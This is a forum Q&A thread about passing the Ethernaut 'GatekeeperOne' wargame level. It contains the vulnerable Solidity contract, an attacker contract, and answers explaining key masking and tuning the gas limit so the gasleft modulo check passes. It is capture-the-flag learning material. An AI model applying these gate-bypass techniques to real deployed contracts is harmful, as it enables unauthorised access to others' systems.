# How to fix gas problem in Ethernaut quiz 13?

I'm trying to call function hack. I set gas limit to 3000K but when call function 'hack' there is the error. Why does eth gas runs out of (63178) by such a simple function? and dramatically, when I change the gas in the interface from odd to even, it's normal(3000K)?

``````contract GatekeeperOne {

address public entrant;

modifier gateOne() {
require(msg.sender != tx.origin);
_;
}

modifier gateTwo() {
require(gasleft() % (8191) == 0);
_;
}

modifier gateThree(bytes8 _gateKey) {
require(uint32(uint64(_gateKey)) == uint16(uint64(_gateKey)));
require(uint32(uint64(_gateKey)) != uint64(_gateKey));
require(uint32(uint64(_gateKey)) == uint16(tx.origin));
_;
}

function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}

contract Hack {
GatekeeperOne gatekeeperOne = GatekeeperOne(0xd9145CCE52D386f254917e481eB44e9943F39138);
bool public res;
bytes8 public key = 0x0000ffff0000ffff;
bytes8 public gateKey = key & bytes8(uint64(tx.origin));

function hack(uint _gas) public {

// res = gatekeeperOne.enter{gas: 81910+251}(gateKey);

(res, ) = address(gatekeeperOne).call{gas: _gas}(abi.encodeWithSignature("enter(bytes8)", gateKey));
if(!res) {
revert("gas abnormal");
}

}

}
``````

## 2 Answers

I believe the transaction reverted with the message `"abnormal gas"` because the value of gas input was not correct, and hence `res` is false and the call to `enter` could not pass modifier `gateTwo`. The most efficient design in this case would be brute force the solution using a loop to find the amount of gas that can pass modifier `gateTwo`. In addition, the value of `key` should be `0xFFFFFFFF0000FFFF` and value of `gateKey` should be `bytes8(uint64(uint160(address(tx.origin)))) & key`, assuming you're using `pragma solidity ^0.8.0`.

Seems like the VM is sending this gas value attribute along with the transaction, not sure what that means(gas limit is set to 3,000,000).

Also, seems like passing the gas value as an argument does not do any good with the VM, hence I will be using the Gas Limit to solve the problem.

I will be showing how to do an educated guess, instead of a brute force approach. Also, I will not use a simpler function to do it.

``````contract AttackGateKeeperOne {
GatekeeperOne target;

constructor(GatekeeperOne _target) {
target = _target;
}

function attack(bytes8 key) external payable {
target.enter(key);
}
}
``````

First I am using an gas limit of 3,000,000 and I will be using the input value as `0x100000000000ddC4`. First 6 bytes are for third gate's first two required checks. last two bytes are for the final required statement. My public key is `0x5B38Da6a701c568545dCfcB03FcB875f56beddC4`, hence I am using the last 2 bytes of it as the last two bytes of my input.

I will execute my attack function setting the gas value as 3,000,000 as the start. when it fails use the debugger and check what the gasleft value is. For that what you need to do is to check the stack value right after the opcode GAS is executed.

`````` 0x2ca75f % 8191 = 2244
``````

assuming `3,000,000 - 2244` will reduce the gas by `2244` we will set the next gas limit as `2997756` and repeat the process.

``````0x2c9ebf % 8191 = 36
``````

assuming `3,000,000 - 2244 - 36` will reduce the gas by `2244 + 36` we will set the next gas limit as `2997720` and repeat the process.

third iteration is a success.